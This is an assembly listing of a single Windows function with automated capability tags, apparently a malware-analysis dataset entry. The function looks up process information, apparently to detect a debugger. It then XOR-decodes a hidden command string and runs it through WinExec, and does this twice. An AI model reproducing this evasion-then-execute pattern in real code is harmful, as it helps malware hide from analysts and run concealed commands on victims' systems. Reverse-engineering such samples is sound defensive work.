Function at 0x10004ea0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x4c
push esi
push 0x10196ac8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10005081
push 0x10196ad4
push eax
call esi
mov esi, eax
test esi, esi
je 0x1000507b
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 8]
push eax
push 0x1f
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
test eax, eax
js 0x1000507b
cmp dword [ebp - 8], 0
jne 0x1000507b
movups xmm0, xmmword [0x10196c68]
mov al, byte [0x10196c78]
xor edx, edx
cmp dword [0x11327d64], 2
movups xmmword [ebp - 0x40], xmm0
mov byte [ebp - 0x30], al
mov dword [ebp - 4], edx
jl 0x10005041
movaps xmm0, xmmword [0x10196d50]
movaps xmm5, xmmword [0x10196d20]
movaps xmm4, xmmword [0x10196d60]
movaps xmm6, xmmword [0x10196d30]
movaps xmm3, xmmword [0x10196d40]
movaps xmmword [ebp - 0x20], xmm0
mov ecx, dword [ebp - 0x20]
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x40]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x40], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x3c]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x3c], xmm2
add edx, 8
cmp edx, 0x10
jl 0x10004f60
mov dword [ebp - 4], edx
cmp edx, 0x11
jge 0x1000506f
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x40], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0x11
jl 0x10005041
push 0
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10196af0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x10005234
push 0x10196afc
push eax
call esi
mov esi, eax
test esi, esi
je 0x10005234
lea eax, [ebp - 0xc]
mov dword [ebp - 4], 0
push eax
push 4
lea eax, [ebp - 4]
push eax
push 0x1e
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
test eax, eax
js 0x10005234
cmp dword [ebp - 4], 0
je 0x10005234
movups xmm0, xmmword [0x10196c7c]
mov al, byte [0x10196c8c]
xor ecx, ecx
cmp dword [0x11327d64], 2
movups xmmword [ebp - 0x40], xmm0
mov byte [ebp - 0x30], al
jl 0x10005200
movaps xmm0, xmmword [0x10196d50]
movaps xmm5, xmmword [0x10196d20]
movaps xmm3, xmmword [0x10196d60]
movaps xmm6, xmmword [0x10196d30]
movaps xmm4, xmmword [0x10196d40]
movaps xmmword [ebp - 0x20], xmm0
mov edx, dword [ebp - 0x20]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x40]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + ecx - 0x40], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x3c]
xorps xmm2, xmm0
movd dword [ebp + ecx - 0x3c], xmm2
add ecx, 8
cmp ecx, 0x10
jl 0x10005120
cmp ecx, 0x11
jge 0x10005228
nop
mov eax, 0x4bda12f7
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, cl
movsx eax, al
imul eax, eax, 0x36
sub dl, al
add dl, 0x37
xor byte [ebp + ecx - 0x40], dl
inc ecx
cmp ecx, 0x11
jl 0x10005200
push 0
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret